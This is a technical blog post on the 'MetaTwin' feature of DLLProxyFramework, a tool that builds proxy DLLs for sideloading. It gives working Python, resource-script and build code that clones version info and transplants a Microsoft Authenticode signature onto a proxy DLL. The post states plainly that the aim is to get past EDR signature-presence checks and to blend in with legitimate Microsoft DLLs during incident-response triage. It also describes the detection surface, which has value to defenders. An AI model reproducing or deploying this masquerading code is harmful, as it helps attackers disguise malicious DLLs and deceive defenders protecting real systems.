MetaTwin Cloning: Duplicating PE Identity onto Proxy DLLs
This post covers the MetaTwin cloning feature added to DLLProxyFramework. The framework generates proxy DLLs for sideloading research (covered in the original post). MetaTwin extends the pipeline with two automatic steps: version info is extracted from the source DLL and compiled into the proxy via a resource script, and the Authenticode signature is copied as a raw byte blob after the build. The result is a proxy DLL whose file properties and digital signature tab look identical to the original.
Why Metadata Matters for Sideloading
A proxy DLL that forwards all exports correctly will keep the host process running without issues. But when a defender or EDR agent inspects the loaded modules, metadata is the first thing they check. Right-clicking a DLL in Explorer and opening Properties reveals the version info: CompanyName, FileDescription, ProductName, Copyright. If a DLL that should say “Microsoft Corporation” shows nothing, that is an immediate red flag.
The digital signature tab is the second check. Windows DLLs shipped by Microsoft carry Authenticode signatures [1]. A proxy DLL without any signature stands out in any tool that lists loaded modules with their signing status. The original post listed this as an explicit limitation.
MetaTwin addresses both: version info is embedded at compile time via the Windows resource compiler, and the Authenticode certificate is transplanted as a post-build step. No flags are required. If the source DLL has version info, it is cloned. If the source DLL is signed, the signature is cloned.
Extracting Version Info from the Source PE
The PEAnalyzer already parsed the export table of the target DLL. The MetaTwin update adds extraction of the VS_FIXEDFILEINFO structure and the StringFileInfo block, both part of the PE version resource [2]. The data is captured in a new VersionInfo dataclass:
# From: analyzer/pe_analyzer.py
@dataclass
class VersionInfo:
company_name: str = ""
file_description: str = ""
file_version: str = ""
internal_name: str = ""
legal_copyright: str = ""
original_filename: str = ""
product_name: str = ""
product_version: str = ""
file_version_ms: int = 0
file_version_ls: int = 0
product_version_ms: int = 0
product_version_ls: int = 0
@property
def file_version_tuple(self) -> tuple[int, int, int, int]:
return (
(self.file_version_ms >> 16) & 0xFFFF,
self.file_version_ms & 0xFFFF,
(self.file_version_ls >> 16) & 0xFFFF,
self.file_version_ls & 0xFFFF,
)
The version tuple encodes four 16-bit components packed into two 32-bit integers. FileVersionMS holds the major and minor version, FileVersionLS holds the build and revision. Splitting them with shifts and masks produces the FILEVERSION 10,0,19041,1 format that the resource compiler expects [2].
The extraction iterates over the PE’s FileInfo structures using pefile:
# From: analyzer/pe_analyzer.py
string_fields = {
b'CompanyName': 'company_name',
b'FileDescription': 'file_description',
b'FileVersion': 'file_version',
b'InternalName': 'internal_name',
b'LegalCopyright': 'legal_copyright',
b'OriginalFilename': 'original_filename',
b'ProductName': 'product_name',
b'ProductVersion': 'product_version',
}
if hasattr(pe, 'FileInfo'):
for fi in pe.FileInfo:
for entry in fi:
if hasattr(entry, 'StringTable'):
for st in entry.StringTable:
for k, v in st.entries.items():
attr = string_fields.get(k)
if attr:
setattr(vi, attr, v.decode('utf-8', errors='replace'))
If at least CompanyName or FileDescription is present, the VersionInfo object is attached to the ExportTable. Otherwise it stays None and the resource script omits the version block entirely.
The analyzer also checks whether the source DLL carries an Authenticode signature by reading the IMAGE_DIRECTORY_ENTRY_SECURITY data directory (index 4 in the optional header):
# From: analyzer/pe_analyzer.py
sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4] # IMAGE_DIRECTORY_ENTRY_SECURITY
table.has_signature = sec_dir.VirtualAddress != 0 and sec_dir.Size != 0
This data directory entry is unique among the 16 PE data directories: its VirtualAddress field is a raw file offset, not an RVA [3]. If both fields are nonzero, the PE contains an Authenticode certificate table.
Embedding Version Info via the Resource Script
The code generator feeds the extracted VersionInfo into a Jinja2 template that produces a standard Windows resource script:
/* From: generator/templates/resource.rc.j2 */
VS_VERSION_INFO VERSIONINFO
FILEVERSION {{ version_info.file_version_tuple | join(',') }}
PRODUCTVERSION {{ version_info.product_version_tuple | join(',') }}
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_DLL
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "{{ version_info.company_name }}"
VALUE "FileDescription", "{{ version_info.file_description }}"
VALUE "FileVersion", "{{ version_info.file_version }}"
VALUE "InternalName", "{{ version_info.internal_name }}"
VALUE "LegalCopyright", "{{ version_info.legal_copyright | replace('©', '\\251') | replace('®', '\\256') }}"
VALUE "OriginalFilename", "{{ version_info.original_filename }}"
VALUE "ProductName", "{{ version_info.product_name | replace('©', '\\251') | replace('®', '\\256') }}"
VALUE "ProductVersion", "{{ version_info.product_version }}"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 0x04B0
END
END
The BLOCK "040904B0" identifier encodes the language (0x0409 = English US) and character set (0x04B0 = Unicode) [2]. The template escapes © and ® to their octal equivalents (\251, \256) because the resource compiler does not handle UTF-8 copyright symbols directly.
For a proxy of version.dll, the compiled resource will contain version strings identical to the original. Right-clicking the proxy in Explorer and opening the Details tab will show “Microsoft Corporation” as the company, “Version Checking and File Installation Libraries” as the description, and the original version number.
The resource script is compiled by rc.exe (MSVC) or windres (MinGW) and linked into the final DLL alongside the proxy code and trampolines:
REM From: generator/templates/build_msvc.bat.j2
echo [*] Compiling resources...
rc /nologo /fo resource.res resource.rc
# From: generator/templates/Makefile.j2
resource.o: resource.rc resource.h
$(WINDRES) $< $@
Cloning the Authenticode Signature
Version info is embedded at compile time. The Authenticode signature cannot be, because it covers the binary content of the PE. Any signature embedded before compilation would be invalidated by the compilation itself. Instead, the signature is copied as a post-build step.
The sigclone module operates directly on the PE file structure. An Authenticode signature lives in the certificate table, a blob appended at the end of the PE file [1]. The data directory at index 4 points to it with a file offset and size. The cloning process reads the certificate data from the source PE and appends it to the target:
# From: sigclone/sigclone.py
def clone_signature(signed_pe: str | Path, unsigned_pe: str | Path) -> bool:
"""Append the Authenticode signature from signed_pe onto unsigned_pe (in-place)."""
with open(signed_pe, "rb") as f:
src = f.read()
e_lfanew = struct.unpack_from("<I", src, 0x3C)[0]
magic = struct.unpack_from("<H", src, e_lfanew + 0x18)[0]
cert_dir_off = e_lfanew + 0x18 + (0x90 if magic == 0x20B else 0x80)
cert_rva, cert_size = struct.unpack_from("<II", src, cert_dir_off)
if cert_rva == 0 or cert_size == 0:
return False
cert_data = src[cert_rva:cert_rva + cert_size]
The script first navigates the PE headers manually. e_lfanew at offset 0x3C gives the PE signature offset. The optional header magic (0x20B for PE32+, 0x10B for PE32) determines the offset to the certificate data directory entry: 0x90 bytes past the start of the optional header for 64-bit, 0x80 for 32-bit [3]. From there, the certificate table offset and size are read directly.
The target PE is then modified in-place:
# From: sigclone/sigclone.py
with open(unsigned_pe, "r+b") as f:
data = f.read()
pe_size = len(data)
aligned = (pe_size + 7) & ~7
t_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
t_magic = struct.unpack_from("<H", data, t_lfanew + 0x18)[0]
t_cert_off = t_lfanew + 0x18 + (0x90 if t_magic == 0x20B else 0x80)
f.seek(0, 2)
f.write(b"\x00" * (aligned - pe_size))
f.write(cert_data)
f.seek(t_cert_off)
f.write(struct.pack("<II", aligned, cert_size))
# Zero out checksum
f.seek(t_lfanew + 0x18 + 0x40)
f.write(struct.pack("<I", 0))
return True
Three things happen here:
-
Alignment padding. The certificate table must start at an 8-byte boundary [1]. The
(pe_size + 7) & ~7expression rounds up to the next multiple of 8, and null bytes fill the gap. -
Certificate data append. The raw certificate blob from the source PE is written at the aligned offset. This blob contains one or more WIN_CERTIFICATE structures, each with a length, revision (0x0200 for PKCS#7), and type (0x0002 for Authenticode) [1].
-
Header update. The target PE’s data directory entry at index 4 is rewritten to point to the new certificate table. The PE checksum is zeroed out since it is now invalid; most tools recalculate or ignore it.
The build scripts invoke sigclone.py automatically when the source DLL is signed:
REM From: generator/templates/build_msvc.bat.j2
echo [*] Cloning Authenticode signature...
python sigclone.py "original_version.dll" "version.dll"
# From: generator/templates/Makefile.j2
$(TARGET): $(OBJECTS)
$(CC) $(CFLAGS) -o $@ $^ $(DEF) -lkernel32 -luser32
@echo [*] Cloning Authenticode signature...
@python sigclone.py "{{ original_dll_filename }}" "$(TARGET)" || echo [!] Signature cloning failed (non-fatal)
The signature cloning step is non-fatal in the GCC build. If Python is not available or sigclone.py fails, the build still produces a functional proxy, just without the cloned signature.
What the Cloned Signature Actually Proves
The proxy DLL will show the original signer in tools that display Authenticode information. For a proxy of version.dll, the signature tab will read “Microsoft Windows” with the full certificate chain. However, the signature will not validate:
Original: Valid | CN=Microsoft Windows, O=Microsoft Corporation
Proxy: HashMismatch | CN=Microsoft Windows, O=Microsoft Corporation
Authenticode works by signing a hash of the PE’s content [1]. The certificate blob contains this hash along with the signer’s certificate chain. When Windows validates the signature, it recomputes the hash from the actual binary content and compares it against the hash in the certificate. Since the proxy’s binary content differs from the original, the hashes will never match.
This is by design. The cloned signature is not meant to pass cryptographic validation. It targets a specific class of tools and checks:
- Signature presence checks. Some EDR products and scripts check whether a DLL has any signature at all, without validating the hash. A
HashMismatchresult still means “signed” in these contexts. - Signer name display. File managers, process explorers, and forensic tools that show the signer name extract it from the certificate, not from the validation result. The proxy will display “Microsoft Corporation” regardless of hash validity.
- Quick triage. During incident response, analysts often sort modules by signer to find unsigned or unusually signed libraries. A proxy with a cloned Microsoft signature will sort with the legitimate Microsoft DLLs.
Tools that perform full validation (like signtool verify /pa or WinVerifyTrust with proper flags [4]) will report the hash mismatch immediately. Windows itself also performs catalog-based signature checks for system files, which operate independently of embedded Authenticode signatures [5].
Verification: How Tests 9 and 10 Validate the Clone
The test suite was extended from 8 to 10 tests. Tests 9 (MSVC) and 10 (GCC) build a full proxy with --embed --payload --block and then run verify_meta.py against both the original and proxy DLLs.
The verification script checks two things. First, it extracts the StringFileInfo from both PEs and compares the required fields:
# From: test/verify_meta.py
required_fields = [
"CompanyName", "FileDescription", "FileVersion",
"InternalName", "OriginalFilename", "ProductName",
]
for field in required_fields:
orig_val = orig_strings.get(field, "")
proxy_val = proxy_strings.get(field, "")
if not proxy_val:
print(f" FAIL: {field} missing in proxy")
ok = False
elif orig_val != proxy_val:
print(f" FAIL: {field} mismatch: '{orig_val}' vs '{proxy_val}'")
ok = False
Second, it validates the cloned signature by parsing the raw certificate directory and checking for a valid WIN_CERTIFICATE header:
# From: test/verify_meta.py
if cert_rva == 0 or cert_size == 0:
print(" FAIL: original is signed but proxy has no signature")
ok = False
else:
if cert_rva + 8 <= len(data):
wc_len, wc_rev, wc_type = struct.unpack_from("<IHH", data, cert_rva)
if wc_rev != 0x0200 or wc_type != 0x0002:
print(f" FAIL: invalid WIN_CERTIFICATE header (rev=0x{wc_rev:04X}, type=0x{wc_type:04X})")
ok = False
The expected revision is 0x0200 (WIN_CERT_REVISION_2_0) and the expected type is 0x0002 (WIN_CERT_TYPE_PKCS_SIGNED_DATA) [1]. If these values are present at the certificate table offset, the signature was successfully transplanted from the source PE.
The Pipeline with MetaTwin
The generation pipeline now has five stages instead of four. The generate.py entry point handles the new steps transparently:
# From: generate.py
from sigclone import clone_signature
# ... (analysis and code generation as before)
# --- Copy sigclone utility if source DLL is signed ---
if export_table.has_signature:
sigclone_src = Path(__file__).parent / 'sigclone' / 'sigclone.py'
sigclone_dst = output_dir / 'sigclone.py'
sigclone_dst.write_text(sigclone_src.read_text(encoding='utf-8'), encoding='utf-8')
print(f"[+] Signature cloner: sigclone.py (source DLL is Authenticode signed)")
When the source DLL is Authenticode-signed, generate.py copies the sigclone.py utility into the output directory alongside the generated source files. The build scripts then invoke it as the final step. The user does not need to pass any flags; the presence of a signature in the source DLL is sufficient to trigger the entire MetaTwin pipeline.
The generated project structure now includes the signature cloner:
version_proxy/
├── proxy.c
├── proxy.h
├── exports.def
├── trampolines.asm
├── trampolines.S
├── payload.c
├── payload.h
├── resource.rc # Now includes VS_VERSION_INFO block
├── resource.h
├── original_version.dll
├── sigclone.py # Post-build signature cloner
├── build_msvc.bat
└── Makefile
Limitations and Detection Surface
HashMismatch is detectable. Any tool that calls WinVerifyTrust with the WINTRUST_ACTION_GENERIC_VERIFY_V2 action [4] will report the signature as invalid. Windows SmartScreen, WDAC (Windows Defender Application Control), and properly configured EDR agents perform this check. The cloned signature only survives shallow inspection.
Catalog signatures are not cloned. Many Windows system DLLs are signed via catalog files (.cat) rather than embedded Authenticode signatures [5]. The catalog file lives in %SystemRoot%\CatRoot\ and maps file hashes to signatures. MetaTwin only handles embedded signatures. If the source DLL relies exclusively on catalog-based signing, the proxy will have neither embedded nor catalog-based signature coverage.
Resource compiler differences. The version info is compiled by rc.exe (MSVC) or windres (MinGW). Minor differences in padding or alignment between the two compilers can produce version resources that are structurally correct but not byte-identical to the original. A defender comparing raw resource bytes would notice the difference, though standard tools display the same string values.
Python dependency for signature cloning. The post-build signature step requires Python to be available on the build machine. The build scripts treat failure as non-fatal, so building without Python produces a proxy with correct version info but no signature.
Drafted with LLM assistance from the DLLProxyFramework source code, reviewed and verified against the actual implementation.
References
[1] Microsoft, “Authenticode PE Signature Format”, learn.microsoft.com
[2] Microsoft, “VERSIONINFO resource”, learn.microsoft.com
[3] Microsoft, “PE Format: Optional Header Data Directories”, learn.microsoft.com
[4] Microsoft, “WinVerifyTrust function”, learn.microsoft.com
[5] Microsoft, “Catalog Files and Digital Signatures”, learn.microsoft.com